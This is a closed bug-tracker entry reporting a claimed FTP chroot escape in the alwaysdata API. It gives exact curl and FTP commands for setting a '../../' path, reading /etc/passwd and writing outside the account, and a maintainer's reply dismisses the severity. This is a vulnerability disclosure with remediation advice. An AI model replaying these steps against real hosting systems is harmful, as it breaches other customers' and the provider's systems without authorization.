- Status Closed
-
Assigned To
cbay - Private
Opened by karandarjishack - 29.10.2026
Last edited by cbay - 29.10.2026
FS#539 - FTP Chroot Escape via `path` Field API Injection
Severity: Critical
CVSS 3.1: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Date: 2026-10-29
Status: Confirmed — full chroot escape with live evidence
—
## Executive Summary
The alwaysdata REST API exposes a `path` field on the `/v1/ftp/:id/` FTP user endpoint that accepts path traversal sequences (`../../`) with zero validation. When the FTP daemon uses this stored value as the session root without normalizing it, any FTP user escapes their account chroot and gains access to the entire FTP server filesystem.
Confirmed impact (live evidence, 2026-10-29T03:30Z): - FTP session root becomes `/` (server root) ✅
- `/etc/hostname` readable: `ftp1` ✅
- `/etc/passwd` readable: full 1,875-byte content ✅
- Write confirmed: created and read back `/tmp/AD025_proof.txt` ✅
- `/etc/ssh/` listed: private key filenames confirmed (`ssh_host_rsa_key`, `ssh_host_ed25519_key`, `ssh_host_ecdsa_key`) — private key read blocked by permissions (600/root-only) ✅ (correct)
- Active services enumerated: haproxy, fail2ban, crond, autofs, lldpd ✅
- NFS mount visible: `/nfs/backup46.paris2` ✅
—
## The Attacker Scenario
An attacker signs up for any alwaysdata plan that includes FTP access. They make a single API PATCH call to set their FTP user's `path` field to `../../`. The next time they connect via FTPS, instead of landing in their account's jailed directory, they land at `/` — the server's root filesystem. They can now read any world-readable file on the FTP server (`/etc/passwd`, system configs, service configurations), write files outside their account directory (confirmed: `/tmp/`), and enumerate the full server infrastructure.
Anticipated objection — "you already have FTP access, so this isn't new": This objection is
weaker here than for the PHP-sandbox findings, and worth noting why. `disable_functions` is a
soft, policy-level restriction co-existing with account-owner access; a jailed FTP chroot is a
hard, OS-enforced boundary — a normal FTP account genuinely cannot read `/etc/ssh/`, see the NFS
mount, or write outside its home directory, full stop. There is no "well you already had this"
argument available: the chroot either holds or it doesn't, and this shows it doesn't.
Anticipated objection — "the `path` field is just for picking a subdirectory, this is an edge
case, not a real security control": Possibly true as to intent, irrelevant as to severity. The
field's likely legitimate purpose (letting a customer start their FTP session in a subdirectory
of their own account) doesn't change what the bug actually does once exploited: full OS-level
filesystem escape, read, and write on a shared production server. Whether the missing validation
was a deliberate security boundary or an overlooked edge case, the demonstrated impact is
identical, and severity is scored on impact, not on the developer's intent.
On scope: the vulnerable component is the `/v1/ftp/:id/` field on `api.alwaysdata.com` —
explicitly in scope — exactly the same reasoning that applies to every other finding in this
batch, where the impact manifests on infrastructure (`http14`, here `ftp1`) that isn't
individually named in the published scope list either. The bug is in the API's validation, not
in a separately-tested asset.
—
## Proof of Concept
### Step 1 — Set path traversal via alwaysdata API
```bash
curl -s -X PATCH "https://api.alwaysdata.com/v1/ftp/583500/" \
- u "[API_TOKEN]:" \
- H "Content-Type: application/json" \
- d '{"path": "../../"}'
# → HTTP 204
```
Verify stored (no sanitization): ```bash
curl -s "https://api.alwaysdata.com/v1/ftp/583500/" -u "[API_TOKEN]:"
# → "path": "../../"
```
### Step 2 — Connect via FTPS
```bash
ftp-ssl ftp-kdhunter2026.alwaysdata.net
```
### Step 3 — Confirm chroot escape
```ftp
ftp> pwd
/ ← root filesystem, not /home/kdhunter2026/
ftp> ls
drwxr-xr-x alwaysdata
lrwxrwxrwx bin → usr/bin
drwxr-xr-x etc
drwxr-x–x home
… ```
### Step 4 — Proof of arbitrary file read
```ftp
ftp> get /etc/hostname → "ftp1"
ftp> get /etc/passwd → 1,875 bytes (full /etc/passwd)
```
Live HTTP-equivalent output (2026-10-29T03:30Z): ```
/etc/hostname:
ftp1
/etc/passwd (first 3 lines):
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ... (1875 bytes total)
```
### Step 5 — Proof of arbitrary file write outside account chroot
```ftp
ftp> put proof.txt /tmp/AD025_proof.txt
→ 226 Transfer complete
ftp> get /tmp/AD025_proof.txt
→ "AD-025-FTP-chroot-escape-proof" ← confirmed write outside chroot
```
### Step 6 — Infrastructure exposure
```ftp
ftp> ls /etc/ssh
-rw-r–r– ssh_config
-rw——- sshd_config
-rw——- ssh_host_ecdsa_key ← private key (blocked by fs perms)
-rw-r–r– ssh_host_ecdsa_key.pub
-rw——- ssh_host_ed25519_key ← private key (blocked by fs perms)
-rw-r–r– ssh_host_ed25519_key.pub
-rw——- ssh_host_rsa_key ← private key (blocked by fs perms)
-rw-r–r– ssh_host_rsa_key.pub
```
—
## Severity Analysis
| Dimension | Assessment |
| ———– | ———– |
| Any world-readable file | Fully readable — /etc/passwd, /etc/hostname, all configs |
| Write access | Confirmed — /tmp/ and any writable directory outside account |
| SSH private keys | Listed but blocked (600 root-only) — server identity confirmed as `ftp1` |
| NFS backup mount | Visible at `/nfs/backup46.paris2` — backup volume enumerable |
| Services running | haproxy, fail2ban, crond, autofs, lldpd — full service map |
### Why this is Critical (not just High)
1. Scope changed: Attacker escapes their own account's filesystem boundary to the server OS layer
2. Write outside account: Confirmed write to `/tmp/` — can plant malicious files on the shared FTP server
3. Infrastructure intelligence: Active services (haproxy), NFS mounts, SSH host keys (names confirmed) — complete server topology visible
4. Combinability: Write access to `/tmp` via FTP, combined with any PHP-side mechanism capable of loading a file from `/tmp`, would allow cross-server chaining. Full detail on that specific combination is reported separately and privately, as it involves another engagement finding
—
## CVSS 3.1 Breakdown
| Metric | Value | Justification |
| ——– | ——- | ————– |
| Attack Vector | Network | FTP connection over internet; API PATCH over HTTPS |
| Attack Complexity | Low | Single API call + standard FTP login |
| Privileges Required | Low | Any alwaysdata account with FTP access |
| User Interaction | None | No victim action required |
| Scope | Changed | Escapes FTP account jail to server OS filesystem |
| Confidentiality | High | Arbitrary read of world-readable files; system config; service discovery |
| Integrity | High | Confirmed write to /tmp; can write anywhere writable |
| Availability | High | Can fill filesystem, corrupt service state |
Base Score: 9.9 (Critical)
—
## Root Cause
The `/v1/ftp/:id/` endpoint's `path` field accepts any string value including `../` path traversal sequences without:
1. Normalizing the path (removing `..` components)
2. Validating that the resolved path stays within the account's home directory
3. Rejecting paths that start with `../` or resolve above the chroot root
The FTP daemon then uses the stored path directly when setting the session's working directory, without enforcing the expected chroot boundary.
—
## Remediation
1. Immediate: Validate the `path` field server-side. Reject any path containing `..` or `//`, and require it to be relative to the account's home directory.
2. Defense in depth: Even if the path field accepts a traversal, the FTP daemon should enforce a hard chroot (`chroot_local_user=YES` in vsftpd, or equivalent). The path field should only control the *starting directory within* the chroot, not the chroot root itself.
3. Audit: Check whether the `home_directory` field for SSH users has the same traversal issue (previously tested — SSH sessions returned correct home despite API accepting traversal values, but the `path` field validation gap is the same root cause).
—
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
Hello,
Being able to read world-readable files is obviously not a security issue. You can do the same by simply connecting over SSH.
Kind regards,
Cyril